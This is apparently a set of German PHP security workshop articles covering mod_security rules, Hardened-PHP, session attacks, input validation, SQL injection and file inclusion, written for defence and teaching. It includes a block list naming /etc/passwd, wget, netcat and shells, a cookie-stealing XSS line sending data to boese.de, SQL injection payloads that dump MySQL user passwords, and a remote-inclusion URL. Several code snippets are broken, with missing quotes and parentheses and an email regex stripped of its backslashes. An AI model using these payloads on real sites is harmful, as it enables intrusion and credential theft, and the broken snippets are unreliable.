Beiträge von DodCom

    Mit der zunehmenden Verbreitung von PHP als Webscriptsprache wächst auch die Anzahl der zur Verfügung stehenden Applikationen. Während bei Sprachen wie C oder Java selten die Sprache für auftretende Sicherheitslücken verantwortlich gemacht wird, ist dies bei PHP häufiger der Fall - zu einfach ist es, mit der Webscriptsprache eklatante Sicherheitsprobleme in seine Anwendungen einzubauen, die meist weltweit erreichbar (und angreifbar) sind.


    Mit dem Powerworkshop "PHP & Security" sollen Grundlagen bei PHP-Entwicklern geschaffen werden, um bekannte Fehler in ihren Anwendungen zu vermeiden. Zu den angesprochenen Themen gehören:


    Auskundschaften von Serverinformationen durch Angreifer
    SQL-Injections in MySQL/Oracle
    Cross Site Scripting (XSS)
    Parametermanipulation in $_GET/$_POST/$_SERVER
    Authentisierung und Formulare
    Sessions
    Safe Mode und andere Sicherheitsmechanismen in php.ini
    Hardened-PHP
    mod_security (IDS-Modul für Apache)
    Beispiele, die illustrieren, wie man es nicht machen sollte, und aufgezeigte Lösungsmöglichkeiten für häufige Sicherheitsprobleme bieten einen praktischen Nutzen sowohl für PHP-Einsteiger als auch für fortgeschrittene Anwender, die ihren Webserver härten wollen.




    http://www.christopher-kunz.de/PHP-Security.75.0.html

    # Beispielkonfiguration für mod_security
    # Erstellt von Christopher Kunz
    # Erhebt keinerlei Anspruch auf irgendeine Vollständigkeit
    # Nicht auf Produktionsseiten einsetzen!
    # Erstellt im November 2004 für die PHP Conference
    # Vielen Dank an Sebastian "GPF" Wiesinger



    # Filter anschalten - kann per VHost (de-)aktiviert werden
    SecFilterEngine On
    SecFilterCheckURLEncoding On
    SecAuditEngine RelevantOnly
    SecAuditLog /usr/local/apache/logs/security-audit.log
    SecFilterScanPOST On


    # ServerSignature fälschen - erfordert ServerTokens Full
    SecServerSignature "PHPConf/WebServ 1.2.3.4"


    # Default-Aktion für SecFilter(-Selective)
    SecFilterDefaultAction "log,status:401"

    # anti-XSS in Request und Client
    SecFilterSelective THE_REQUEST ""
    SecFilterSelective "HTTP_USER_AGENT" "<.+>"

    # Umgehung von nmap's Webserver-Identifizierungsversuchen
    SecFilterSelective THE_REQUEST "^(HELP|default|\||TNMP|DmdT|\:)$" "pass,log"

    # Typo3 benötigt "../../" in URIs für eine bestimmte URI
    SecFilterSelective QUERY_STRING "\.\./" chain
    SecFilterSelective SCRIPT_FILENAME !"alt_file_navframe.php" "deny,log"

    # Gallery benötigt "http://" in URI für return-URLs nach Ausfüllen eines
    # Formular-Popups
    SecFilterSelective QUERY_STRING "http://" chain
    SecFilterSelective SCRIPT_FILENAME !do_command.php deny,log,status:403

    # Einige generische Regeln, die auf das gesamte Request Scope angewendet werden
    # SecFilter ist teurer als SecFilterSelective, sollte also sparsam verwendet
    # werden
    SecFilter "\.(bash|mysql)_history"
    SecFilter "/etc/(passwd|shadow)"

    # Aufruf bestimmter Binaries wird verboten
    SecFilterSelective "QUERY_STRING" "bin/(kill|ls|passwd|perl|chmod|wget|lynx|links|net(stat|cat)|who|whoami|id|cd|ld)" "log,redirect:/denied-binaries.html"


    # Shells sollten auch nicht über den Query-String ausgeführt werden
    SecFilterSelective "QUERY_STRING" "bin/(ba|a|z|c|k)?sh" "log,redirect:/denied-bash.html"

    PHP ist die meistverbreitete Scriptsprache und wird auf Millionen Webservern weltweit genutzt. Diese Verbreitung macht es wichtig, daß PHP-Scripts und die PHP-Engine (Zend Engine bzw. ZE 2) gegen Sicherheitsprobleme resistent sind.


    Das Hardened-PHP Projekt wurde ins Leben gerufen, um diese Sicherheitsfragen zu lösen.


    Was ist Hardened-PHP?
    Hardened-PHP ist ein Patch, um PHP zu "härten" und den Server einerseits gegen Fehler in unsauber implementierten Anwendungen, andererseits gegen möglicherweise noch unentdeckte Sicherheitslücken in der PHP-Engine selber abzusichern.


    Entwicklungsgeschichte von Hardened-PHP
    Die Idee für eine gepatchte Version von PHP, die gegen Angriffe abgesichert ist, ist vielleicht so alt wie PHP selber. Im Jahr 2002 wurde das PHP-Auditing-Projekt von einigen OpenBSD-Benutzern ins Leben gerufen, nachdem von Stefan Esser diverse Advisories über von außen ausnutzbare Lücken in PHP herausgegeben wurden. Das gesamte Projekt war nicht wirklich erfolgreich - es schien recht unkoordiniert und die Mitglieder verloren mangels Resultaten schnell das interesse. In den folgenden Monaten wurden von Esser mehrere weitere Lücken in CVS-Versionen von PHP gefunden und vor dem Release behoben. Da aber die vorhandene Codebase von PHP sehr umfangreich ist, entschied er sich, das Hardened-PHP-Projekt ins Leben zu rufen. Das Projekt wurde wegen Zeitmangel allerdings mehrfach verschoben.


    Am 17.4.2004 wurde die erste Version von Hardened-PHP veröffentlicht - sie enthilet schon die meisten Features enthielt, die sich Esser für ein erstes Release gewünscht hatte. Das Projekt wurde nicht öffentlich gemacht, bis ein Unbekannter ein Posting über Hardened-PHP auf symlink.ch absetzte. Die vorläufige Webseite für das Projekt wurde daraufhin von einigen Besuchern gesehen.


    Nach einem Redesign am 16.5.2004 wurde die Dokumentation in einer ersten Version online gestellt und Hardened-PHP 0.1.1 mit einigen kleineren Fixes veröffentlicht.


    Einstellungen für den Variablenfilter
    Alle Werte sind in der Klasse PHP_INI_SYSTEM. Die Defaultwerte werden in ext/varfilter/varfilter.c definiert und können über einen Eintrag in php.ini geändert werden.


    Direktive
    Standardwert
    Erklärung

    varfilter.max_request_variables
    200
    Anzahl der Variablen, die in einem Request vorkommen dürfen.

    varfilter.max_varname_length
    64
    Maximale Länge für einen Variablennamen

    varfilter.max_value_length
    1000
    Maximale Länge für einen Variablenwert

    varfilter.max_array_depth
    100
    Maximale Tiefe für Arrays


    Änderungsvorschläge
    Ein Wert von 1000 Bytes für varfilter.max_value_length erscheint viel zu gering. Ein mittleres Forumsposting umfaßt bereits mehr als 1 KB Daten, von einem Artikel für ein CMS o.ä. ganz zu schweigen. Dieser Wert sollte demnach so erhöht werden, daß keine Breakage für vorhandene Applikationen auftritt.


    Man kann relativ leicht in Erfahrung bringen, ob der voreingestellte Wert für die eigene Installation zu gering ist: Finden sich im Syslog verdächtig viele Einträge der Form Oct 19 16:26:38 localhost php security-alert: tried to register a variable with a too long value (attacker '') , die keiner konkreten Angriffssituation zugeordnet werden können, so ist es wahrscheinlich, daß der Wert von max_value_length zu gering ist.



    http://www.christopher-kunz.de/Hardened_PHP.73.0.html

    Von Stefan Esser, der sich in der Vergangenheit einen Namen als Sicherheitsexperte machen konnte [3] stammt das Projekt "Hardened-PHP" [4]. Die Zielsetzung dieses Patches für PHP4 und PHP5 war es, gegen in der Zend Engine auftretende Sicherheitslücken (Stack/Buffer Overflows, Off-by-one etc.) generische Schutzmechanismen zu implementieren, sowie unsichere PHP-Applikationen durch Ab- und Umschaltung bestimmter Features etwas zu entschärfen. Die volle Featureliste und Erklärung findet sich in der Dokumentation [5].


    Die aktuelle Version 0.2.6 ist in einer Version für PHP 4.3.10 sowie 5.0.3 verfügbar und liegt als komprimierte Patchdatei zum Download [6] bereit. Einige Linuxdistributoren stellen auch bereits angepasste PHP-Pakete bereit, die Hardened-PHP enthalten.


    Nach dem Entpacken wird der Quellenbaum von PHP mit "patch -p 1 < ../ hardened-php-4.3.10-0.2.6.patch" gepatcht und muß danach neu übersetzt werden. Hardened-PHP kennt einige Konfigurationsdirektiven, stellt aber für die meisten Anwendungen ausreichende Defaultwerte bereit, so daß es praktisch "out of the box" eingesetzt werden kann. Vorsicht ist nur für Benutzer des Zend Optimizers oder einer anderen Zend-Extension geboten: die Kompatibilität mit Hardened-PHP kann hier nicht sichergestellt werden.


    Im täglichen Umgang mit dem Webserver sollte der Administrator die Hardening-Features nicht bemerken - lediglich bei einem verhinderten Angriff auf den geschützten Webserver meldet Hardened-PHP die Art des Angriffs, IP des Angreifers und die angegriffene Datei per Syslog oder dem jeweiligen SAPI-Log (meist dem Apache-Errorlog). Ähnlich denAktionen bei mod_security kann Hardened-PHP nunmehr auch Scripts beim Eintreten einer Attacke ausführen, um so z.B. den Administrator per E-Mail oder SMS zu informieren.


    Der Patch für PHP steht unter der PHP License und wird von Stefan Esser kostenlos zur Verfügung gestellt. Durch die kontinuierliche Weiterentwicklung ist Hardened-PHP innerhalb kürzester Zeit zu einem empfehlenswerten Zusatz für jede PHP-Installation geworden, die weitgehend bedenkenlos eingesetzt werden kann. Es empfiehlt sich jedoch, vor dem produktiven Einsatz auf einem Testserver eventuelle Unverträglichkeiten zu eruieren und gegebenenfalls auszuräumen.

    Das HTTP Protokoll ist statuslos. Stellt ein Browser eine Anfrage an einen Server, erhält er zwar eine Antwort, aber der Server hat sofort wieder vergessen, wer denn nun eine Anfrage gestellt hat. Aus diesem Grund wurden Sessions eingeführt. Hier wird jeder Benutzer gegenüber der Applikation (nicht dem Webserver) über eine Session-ID identifiziert. Diese ist eine eindeutige und nicht erratbare oder konsekutive Zeichenfolge, die vom Webserver oder der Applikation auf dem Server erstellt wird und bei jedem Request mitgeschickt wird. So kann der Server den User solange identifizieren, bis dieser seinen Browser schließt oder die Session ungültig wurde. Sessions werden ungültig, wenn die maximale Gültigkeitsdauer erreicht ist. Diese kann man in der php.ini oder im Script eingestellt werden.


    Session-IDs können auf drei Arten zwischen Browser und Server übermittelt werden - in einem Cookie, im Query String und als verstecktes Formularfeld.


    Beim Transport mit Hilfe von Cookies wird das Cookie bei jedem Request an den Webserver mitgeschickt, eingepackt in den HTTP Header. Das Cookie wird vom PHP Interpreter bzw. der Applikation ausgestellt. Hier wird zwischen persistenten und nichtpersistenten Cookies unterschieden. Während letztere mit dem Schließen des Browsers verfallen, werden erstere oft für lange Zeit und ohne Wissen des Nutzers auf der Festplatte des Clients gespeichert (z.B. zur Benutzerverfolgung bei Werbetreibenden).


    Der Transport einer Session-ID in der URL kann auf zwei Arten erfolgen:


    URL Rewriting- die Session-ID ist Teil der URL, z.b. http://SESSION12345.dings.de/ (Achtung, Patente!)
    $_GET-Parameter - Hier wird die Session ID an die URL angehängt, wie in http://www.dings.de/?PHPSESSID=SESSION12345
    In der Regel wird URL-Transport nur eingesetzt, wenn der Client keine Cookies erlaubt - über die "trans_sid"-Funktionalität ("Transistional Session-ID") wird PHP automatisch entscheiden, welche Transportmethode benutzt wird.


    Folgende Angriffsvektoren existieren für Sessions:



    Diebstahl des Session Cookies
    Mitlesen der Session ID
    Systematisches Erraten der Session ID
    Session Fixation
    Session Riding


    Jedes dieser Szenarien basiert auf der Annahme, daß ein Angreifer bei Kenntnis der Session-ID die Session eines legitimen Benutzers (beispielsweise bei einer Online-Bank) übernehmen und für seine Zwecke missbrauchen kann. Diese Annahme ist nicht immer richtig, da bisweilen Sessions an die IP des Benutzers gebunden werden - trifft aber für die meisten Standardanwendungen wie Foren etc. zu.


    Es sollte daher unbedingt davon abgesehen werden, URLs per Copy&Paste an Andere weiterzugeben, die Session-IDs enthalten.



    Diebstahl des Session Cookies


    Der Diebstahl von Session Cookies erfolgt meist über Cross Site Scripting (s.o.). Mittels JavaScript, das auf die Seite eingeschleust wird, kann ein Angreifer Session-Cookie an einen fremden Server übermitteln. Hierzu muß er einem privilegierten Benutzer, z.B. per Mail, einen entsprechend präparierten Link unterschieben, den dieser dann anklickt. Solcher Scriptcode kann z.B. aussehen wie <script>top.load(http://www.boese.de/?cookie=' + document.cookie)</script>.


    Mitlesen der Session ID


    Hat der Angreifer die Möglichkeit, Netzwerkverkehr zum Zielserver mitzulesen oder zu verändern, so kann er diese Möglichkeit nutzen, um Session-IDs auszulesen und Sessions zu übernehmen. Dabei kann er sich traditioneller Möglichkeiten, wie z.B.



    Sniffing
    ARP Spoofing
    Route Spoofing
    DNS Spoofing
    DNS Poisoning


    bedienen, oder (bei Zugriff auf den Webserver selber) Logfiles nach Session-IDs durchsuchen.


    Systematisches Erraten von Session-IDs


    Werden die Session-IDs selber mit Hilfe schwacher Algorithmen erstellt, ist es einem Angreifer grundsätzlich möglich, sie zu erraten bzw. vorherzusagen. Nicht nur gerne gewählte "eindeutige" Merkmale wie der Unix-Timestamp des Sessionbeginns, sondern auch IP-Adresse bzw. der User Agent des Clients eignen sich nicht als Session-ID. Sie sind nicht nur leicht zu erraten, sondern auch nicht eindeutig - so können dank NAT-Gateways praktisch unbegrenzt viele Benutzer von einer IP aus Sessions beginnen, oder bei Proxy-Clustern ein einzelner Benutzer bei zwei aufeinanderfolgenden Requests verschiedene IPs besitzen.


    Zu kurze Session-IDs (Timestamps etc.) können sehr einfach vorhergesagt werden und sind daher höchst gefährlich. Da PHP einen starken Algorithmus zur Erzeugung von Session-IDs besitzt, sollte von der Erstellung eigener Mechanismen für Sessions im Normalfall abgesehen und die builtin-Funktionalität verwendet werden.



    Session Fixation


    Session Fixation beschreibt ein Verfahren, bei dem man einem User eine bereits durch den Angreifer erstellte Session ID unterschiebt. Konkret bedeutet das: der Angreifer denkt sich eine Session ID aus und der User beglaubigt sie, indem er sich mit dieser Session-ID einloggt. Damit hat der Angreifer Zugriff auf eine Session, da er die Session-ID kennt.


    Die Herausforderung einer Session-Fixation-Attacke ist es, dem Opfer einen präparierten Link unterzuschieben, und dafür zu sorgen, daß er sich mit der in diesem Link vorbereiteten Session-ID authentifiziert. Neben XSS als "Mittel zum Zweck" reichen oft schon interessant aussehende Links in Foren oder Gästebüchern; auch Social Engineering verspricht oft Erfolg. Schließlich werden die (durch die Phishing-Wellen der letzten Jahre sensibilisierten) Benutzer nicht auf eine fremde Site umgeleitet, sondern melden sich ganz normal bei der richtigen URL an - nur eben mit einer präparierten Session-ID.


    Wozu genau benötigt ein Angreifer nun eine Session-ID - was läßt sich damit anfangen? Mit Hilfe einer gültigen Session-ID kann der Angreifer sich als der Benutzer ausgeben, der sich mit dieser Session-ID authentifiziert hat und praktisch alle Aktionen ausführen, für die eine Authentifizierung notwendig war. Die Palette der Möglichkeiten reicht von gefälschten Foreneinträgen bis zu Online-Shopping oder gar dem Abruf sensitiver Bankdaten.


    Dem Entwickler stehen einige Wege offen, Session Fixation zu verhindern bzw. die möglichen Folgen zu mildern:


    " Wenn sich ein Benutzer an einem Session-basierten System anmeldet, sollte eine neue Session-ID generiert werden. Dafür ist die Funktion session_regenerate_id() in PHP gedacht.


    " Bei jeder "wichtigen" Aktion, wie etwa Bestell- oder Bezahlvorgängen sowie Paßwortänderungen, sollte eine erneute Authentifizierung stattfinden. Ein gutes Beispiel hierfür liefert Amazon, die trotz gültiger Session ("Hallo Christopher Kunz, wir haben Empfehlungen für Sie") stets die Nutzerdaten abfragen, bevor eine Bestellung getätigt werden kann.


    " Login-Informationen wie Benutzernamen oder Passwörter gehören auf gar keinen Fall in eine Session. Auch MD5-verschlüsselte oder gar (wie in einigen PHP-Anwendungen im OpenSource-Bereich bereits gesehen) mit Base64 "codierte" Passwörter dürfen nicht in der Session abgelegt werden.


    Abschließend noch ein Wort zu Sessions in Hosting-Umgebungen: In "Shared Environments", also Hostingservern oder Universitätsrechnern, werden Sessions meist in einem gemeinsamen Verzeichnis gespeichert. Da alle Kunden Lese- und Schreibzugriff auf dieses Verzeichnis haben, kann mit kurzen PHP-Scripts auf die Sessiondaten anderer Benutzer auf demselben Server zugegriffen werden. Sessiondaten sind nicht verschlüsselt, sondern liegen als serialisiertes Array im Klartext vor.


    In solchen Fällen kann der Serverbetreiber für jeden virtuellen Host einen eigenen session_save_path im VirtualHost-Kontext bestimmen, um Sessiondaten nach Kunden zu trennen. Kunden können ihre Sessiondaten schützen, indem sie statt der (standardmäßigen) Speicherung im Dateisystem einen anderen Sessioncontainer benutzen, z.B. eine Datenbank. Dazu gibt es in PHP die Möglichkeit, eigene Funktionen für die Speicherung von Sessiondaten zu definieren - die Funktion session_set_save_handler() dient dazu, die benutzerdefinierten Funktionen den entsprechenden Operationen auf Sessions (öffnen, schließen, lesen, schreiben, löschen, aufräumen) zuzuordnen.

    Bei der Whitelist-Überprüfung handelt es sich um eine Prüfung auf gültige Daten. Das heißt, nur gültige Daten in Variablen werden an ein Subsystem, wie eine Datenbank weitergegeben. Bei Blacklist-Überprüfungen werden hingegen alle bekannten "bösen" Zeichen aus dem String entfernt und so versucht, die Eingabe gültig zu machen. Da Blacklists von einer meist unzutreffenden Annahme ausgehen - nämlich der, daß alle bösen Zeichen oder Zeichensequenzen dem Entwickler bekannt sind - sollte so weit wie möglich auf Blacklisting Überprüfungen verzichtet werden. Stattdessen sollte stets auf Whitelists zurückgegriffen werden.


    Wie Whitelists funktionieren, soll an einem Beispiel dargestellt werden. Ein Online Shop hat für Kleider eine bestimmte Reihe von Größen in seinem Produktangebot. Diese werden mittels einer Auswahlbox in einem Formular angeboten:


    < form action="check.php" method="post">


    <select name="groesse">


    <option value="m">Größe M</option>


    <option value="l">Größe L</option>


    <option value="xl">Größe XL</option>


    [..]


    </select>


    </form>


    Die drei Optionen "m","l" und "xl" und wirklich nur diese Optionen sollen an ein SQL Statement weitergegeben werden. Angreifer könnten jedoch auf die Idee kommen, ein manipuliertes Formular an den Onlineshop zu versenden, das zusätzlich die Größe XXXL enthält - vor dem Einfügen der Bestellung in die Datenbank müssen solche ungültigen Angaben ausgefiltert und gelöscht werden.


    Folgende Überprüfung hilft dabei:


    <?php


    $saubere_vars = array();


    $richtige_groessen = array("m", "l", "xl");


    if ( in_array($_POST['groesse'],$richtige_groessen))


    $saubere_vars['groesse'] = $_POST['groesse'];


    else


    // Error


    ?>


    Hier verwenden wir ein zusätzliches Array $saubere_vars, in dem alle Variablen (im Beispiel nur die Variable groesse' aus $_POST) nach der Überprüfung gespeichert werden. Es ist prinzipiell eine gute Idee, saubere und geprüfte Variablen ("tainted data") in einen extra Bereich zu schreiben. In diesem Beispiel kann der Variable $saubere_vars['groesse'] vertraut werden, denn sie wurde zuerst initialisiert und dann mit einem gültigen Wert aus dem $_POST Array befüllt.


    Würde die Variable $saubere_vars am Skriptanfang nicht initialisiert und die Konfigurationsdirektive register_globals sei aktiviert, könnte über die URL ein $saubere_vars Array Übergeben werden und die Überprüfung wäre umsonst. Daher ist eine korrekte Initialisierung vor Benutzung erforderlich.


    Zur Überprüfung freier Stringeingaben in Formularen, wie zum Beispiel eine E-Mail Adresse, bieten sich Regular Expressions an.


    <?php


    $saubere_vars = array();


    $email_pattern = '/^[^@s]+@([-a-z0-9]+.)+[a-z]{2,}$/i';


    if (!preg_match($email_pattern, $_POST['email']))


    // Error


    else


    $saubere_vars['email'] = $_POST['email'];


    ?>


    In diesem Beispiel wird nur eine gültige Mailadresse im Format user(at)domain.tld vom Regulären Ausdruck akzeptiert und in das Array der "gesäuberten" Daten einfügt.


    Bevor das Script solche Variablen an Subsysteme wie Datenbanken weitergibt, sollten sie grundsätzlich maskiert werden - also alle Sonderzeichen, speziell Quotes durch \ zu "entschärfen". Das sollte stets erfolgen, wenn Daten den Kontext wechseln, also etwa in eine Datenbank eingefügt oder auf dem Dateisystem abgelegt werden. Speziell für das Quoting von Daten für MySQL gibt es die PHP-Funktionen mysql_escape_string() und mysql_real_escape_string(). Diese Funktionen fügen Escaping-Zeichen so in einen String ein, daß er in einem MySQL-Statement keine Fehler mehr verursachen kann.


    Während mysql_escape_string() seit PHP 4.3.0 deprecated ist, also nicht mehr verwendet werden sollte, wird von der neueren Funktion mysql_real_escape_string() der momentane Zeichensatz der Datenbank beachtet, wenn ihr ein gültiger Resource Identifier übergeben wurde. %-Zeichen und Unterstriche werden grundsätzlich nicht maskiert.


    Auch hier ist Vorsicht geboten: Falls die Konfigurationsdirektive "magic_quotes_gpc" aktiviert ist (php.ini oder .htaccess), so werden Anführungszeichen automatisch vor der Ausführung des eigentlichen Scripts markiert. Würde man auf diesen bereits maskierten String nochmals mysql_real_escape_string() anwenden, wären alle Quotes doppelt markiert.


    Um derlei Doppelmaskierungen zu vermeiden, sollte vor der Verwendung von mysql_real_escape_string() auf bereits vorhandenes Quoting überprüft werden.


    <?php


    $sauberevars = array();


    if (ini_get(magic_quotes_gpc')) {


    $_POST['query'] = stripslashes($_POST['query'];


    }


    $sauberevars['query'] = mysql_real_escape_string($_POST['query']);


    ?>


    Eine einfachere, jedoch nicht portable Möglichkeit ist natürlich, magic_quotes_gpc per .htaccess oder php.ini auszuschalten.


    Zusammenfassend kann man sagen, das man


    1. nur gültige Daten nach Typ- und Inhalts-Prüfung an Subsysteme wie Filesystem oder Datenbank weitergeben sollte,


    2. ein Namensschema für Variablen erarbeiten sollte, um geprüfte und vertrauenswürdige Variablen von ungeprüften zu unterscheiden,


    3. Daten, die an eine MySQL-Datenbank weitergereicht werden sollen, zuvor mit mysql_real_escape_string() maskieren sollte.

    Fehlende Validierung von Benutzerdaten ist der häufigste Fehler, den man bei der Web- bzw. Internetentwicklung machen kann. Selbst große Softwarefirmen und bekannte Applikationen wie zum Beispiel phpBB sind nicht davon ausgenommen.


    Man sollte immer darauf achten, daß die Daten, welche der Client an den Server schickt, genauestens überprüft werden. Die Daten können in den superglobalen Arrays $_POST, $_GET, $_COOKIE und $_FILES stehen. Auch die superglobale Variable $_SERVER kann vom Client beeinflußt werden. (User-Agent, Encoding usw.)


    Bei der Prüfung von Integerwerten ist eine Überprüfung sehr einfach. Mit der PHP-Funktion is_numeric() kann eine Zahl (wie z.B. Telefonnummer oder PLZ) überprüft werden - die Funktion gibt FALSE zurück, wenn das übergebene Argument nicht numerisch ist. Bei primitiven Datentypen wie int, float etc. kann auch ein einfaches Casting ausreichend sein, um missliebige Eingaben auszufiltern - z.B. könnte ein "(int) $_POST[user_id']" vor SQL-Injection in dieser per POST übermittelten Variable schützen.


    Strings sind naturgemäß nicht so einfach zu überprüfen, da sie prinzipiell beliebige, auch sonst als Steuerzeichen interpretierte Zeichen enthalten können. So könnte eine (als Text per POST übermittelte) E-Mail natürlich die Zeichen " und enthalten, die ansonsten für SQL-Injections verwendet werden können. Hier bietet sich eine Überprüfung per Whitelist an.

    Die meisten Webanwendungen interagieren mit einer Datenbank und die zu speichernden Daten bestehen meistens aus Eingaben, die ein Anwender in einem Formular eingegeben hat. Aus diesen eingegebenen Daten werden dann vom Entwickler SQL-Statements generiert und an die Datenbank geschickt. Und genau hier liegt der Ansatzpunkt für eine SQL Injection.


    Ein typisches Szenario für eine SQL-Injection ist, daß syntaktisch korrekte Eingaben mittels GET oder POST an ein Skript geschickt werden, das wenig oder gar keine Validierungsfunktionen besitzt.


    Dieses Skript schickt nun den "bösen" Code an die Datenbank und der Angreifer kann zum Beipiel Datensätze auslesen, die er normalerweise nicht sehen dürfte oder im schlimmsten Fall Schreibzugriffe auf die Datenbank ausführen.


    Versetzen wir uns zunächst in die Rolle eines Angreifers. Was ist dann unser Ziel?


    Wir möchten unsere SQL Statements an die Datenbank schicken und dadurch Ergebnisse erzielen, die vom Entwickler nicht beabsichtigt waren.


    Als erstes müssen wir uns einen Angriffspunkt suchen, zum Beispiel ein Formular oder die Übergabe einer ID in der URL (http://www.servername.de/index.php?id=1). Durch Verändern der Formulardaten oder der Parameter in der URL, können wir Fehler hervorrufen, die uns Hinweise geben können, wie das SQL Statement intern aufgebaut ist.


    Hier einige Beispiel-Fehlermeldungen:


    " You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''a' at line 1


    " Unknown column 'a' in 'where clause'


    Das SQL Statement sieht dann wahrscheinlich etwa so aus: "SELECT * FROM tabellenname WHERE id=".$_GET['id']


    Ersetzt man die numerische ID in der URI durch einen beliebigen Buchstaben oder ein einfaches Anführungszeichen (Single Quote), quittiert das PHP-Script dies mit einer Fehlermeldung. Das läßt darauf schließen, daß hier wahrscheinlich ein Integer, also eine Zahl erwartet, jedoch nicht erzwungen wird. Bei einer Eingabe von 0 OR 1=1 für den Parameter "id", können hier alle vorhandenen Datensätze aus der Datenbank ausgelesen werden.


    Eine andere Tabelle kann man mit dem folgenden Inhalt für den Parameter "id" auslesen: 0 UNION SELECT name FROM tabelle2


    In diesen Beispielen bewegen wir uns aber immer in der Datenbank, die mit mysql_select_db ausgewählt wurde. Eine andere Datenbank können wir mit 0 UNION SELECT db FROM mysql.db auslesen. Es kann vielleicht noch zu Fehlermeldungen kommen, wie etwa "The used SELECT statements have a different number of columns", diese Fehler können jedoch mittels geschickter Verwendung des Keywords NULL bzw. der Funktion concat korrigiert werden. Mit einigem Probieraufwand kann der Angreifer die exakte Anzahl der erwarteten Spalten herausfinden und entsprechend viele Spalten aus eine zweiten Tabelle auslesen. Werden drei Spalten im eigentlichen, nicht modifizierten Query ausgelesen, so würde ein manipuliertes Statement wie "0 UNION SELECT db,NULL,NULL FROM mysql.db" zum Erfolg führen - die Namen aller Datenbanken auf dem Server werden angezeigt.


    CONCAT() ist eine MySQL-Funktion, die es erlaubt, verschiedene Datenbankfelder miteinander zu verbinden. Für den Fall, daß in dem angegriffenen SQL-Query nur eine Spalte aus der Datenbank selektiert wird, der Angreifer aber z.B. einen Benutzernamen und ein Passwort, also zwei Spalten herausfinden will, kann er mit CONCAT() beliebig viele Spalten konkatenieren. Ein Beispiel wäre das Teilquery "0 UNION SELECT concat(User,Password) FROM mysql.user".


    Da bei vielen MySQL-Installationen die Standardkonfiguration und oft auch der User "root" verwendet wird, bzw. die Rechte für den Datenbankserver falsch eingestellt sind, funktioniert dieses Beispiel recht häufig.


    Abhilfe schafft hier, für jede Applikation einen User einrichten, der auch nur Rechte auf die verwendete Datenbank hat und auf keine andere, schon gar nicht die "mysql"-Datenbank selber.


    Ein anderes Beispiel. Eine Bank oder eine Kreditkartenfirma, liest anhand von URL Parametern oder Formulardaten Kontostände aus. Eine URL für den Kundenbereich eines Herrn Kunz könnte so aussehen: http://www.bankserver.de/kontostand.php?id=kunz. Ein gangbarer, aber sehr gefährlicher Weg, wenn man die Validierung der Daten vergißt bzw. unzureichend durchführt.


    Bei der Eingabe von "?id=kunz'+or+id='prochaska'" erhält der Angreifer nicht nur den Kontostand von Herrn Kunz, sondern auch den von Herrn Prochaska. Bei der Eingabe von http://www.bankserver.de/konto…?id=mueller_hans+or+id=id werden im schlimmsten Fall alle Kontodaten zurückgegeben.


    Aber nicht nur SELECT Statements sind angreifbar, auch jedes andere Statement.


    Als Beispiel kann hier ein Anmeldeformular für eine Mailingliste dienen. Hier wird vom Benutzer ein Benutzername und eine E-Mail Adresse verlangt, die mit folgendem Statement in eine Datenbank geschrieben wird:


    INSERT INTO users (username,passwort,email) VALUES (' " . $_POST['user'] . "','" . $passwort . "','" . $_POST['email'] . "');


    In die Variable $passwort wurde vorher ein vom Script zufällig generiertes Passwort geschrieben.


    Gibt man nun in das Feld Benutzername den "Namen" boeser_bube','password',' '), ('echter_name sowie eine beliebige E-Mail-Adresse ein, so wird das vom Script ausgeführte Script zu "INSERT INTO users (username,passwort,email) VALUES ('boeser_bube','password',' '),('echter_name','sdfssd23d','[email protected]')" modifiziert. Damit kann zusätzlich zu dem registrierten Benutzer "echter_name" sich auch der Benutzer "boeser_bube" einloggen. In diesem vereinfachten Beispiel ergibt eine SQL-Injection aus Sicht des Angreifers natürlich keinen Sinn - schließlich könnte er sich einfach auf regulärem Wege einen Account einrichten.


    Bei Communitysoftware wird jedoch häufig bei jedem Login mindestens ein INSERT auf eine Tabelle mit gerade angemeldeten Benutzern durchgeführt - hier ergäben sich unter Umständen Angriffspunkte für eine wesentlich gefährlichere SQL-Injection über zwei verschiedene Tabellen.

    Eine sehr beliebte, wenn auch recht simple und alte Angriffsmethode ist sogenannte "Parameter-Manipulation", die oft auch unter dem Oberbegriff XSS eingeordnet wird. Zu einiger Bekanntheit gelangten Parameter-Manipulationen durch die Website eines Fernsehmoderators und Internet-Experten, dessen Kundendaten über eine solche Attacke frei zugänglich waren.


    Grundlage für Parametermanipulationen ist die unreflektierte Benutzung von PHP's include() oder require() Konstrukten. Oft werden mithilfe dieser Sprachkonstrukte Inhalte aus Dateien im Dateisystem nachgeladen, um für verschiedene Bereiche einer Webanwendung verschiedenen Content bereitzustellen - jedoch meist eine Prüfung der per URL-Parameter übergebenen Seitennamen vergessen. Dies ist für praktisch jeden von der Webanwendung benutzten Parameter - ganz gleich ob GET/POST oder Header - möglich.


    Ein typisches Beispiel für unsichere Includes lautet <?php include($_GET[page']) ?> - die dazugehörige URL hieße dann etwa http://www.test.de/?page=impressum.php für das Impressum der verwundbaren Site.


    Hier findet keinerlei Überprüfung des Inhaltes von $_GET[page'] statt, so daß ein Angreifer jede Datei auf dem Server abrufen kann. Mit einer URL wie http://www.test.de/?page=/etc/passwd kann so die Unix-passwd-Datei gelesen werden - mit http://www.test.de/?page=http://andererserver.de/boese.txt wird sogar (bei aktivierten URL-Wrappern, die praktisch jede PHP-Installation hat) eine Datei von einem fremden Server geholt und von PHP geparsed. Das ist die eigentliche Gefahr bei Parametermanipulationen: da include() PHP-Code nicht anzeigt, sondern parsed, kann mit einer Textdatei beliebiger Code auf dem Zielserver ausgeführt werden. Angreifer - in letzter Zeit vor allem südamerikanischer Herkunft - haben diesen Umstand genutzt, um im großen Stil mit einem "PHP-Rootkit" verwundbare Server anzugreifen, die sie zuvor mit Google ermittelt hatten.


    Es ist also von höchster Wichtigkeit, Benutzereingaben aller Art sorgfältigst zu überprüfen, bevor sie an include() oder require() weitergereicht werden. Es reicht hierbei nicht, auf das Vorhandensein von Slashes, Punkten oder anderer verdächtiger Zeichen zu prüfen. In der Regel sollten Includes stets ausschließlich in einer Whitelist enthalten sein, bevor sie tatsächlich inkludiert werden. Das läßt sich leicht durch ein Array mit allen momentan in der Site integrierten Seiten bewerkstelligen - oder, indem der Entwickler alle Seiten in einer Datenbank ablegt. Wird eine ID für jede Seite vergeben, so kann in Zukunft anhand dieser referenziert und eine Parametermanipulation ausgeschlossen werden. Allerdings besteht dann unter Umständen die Möglichkeit einer SQL Injection in der Datenbankabfrage, die dem include()-Call vorausgeht.

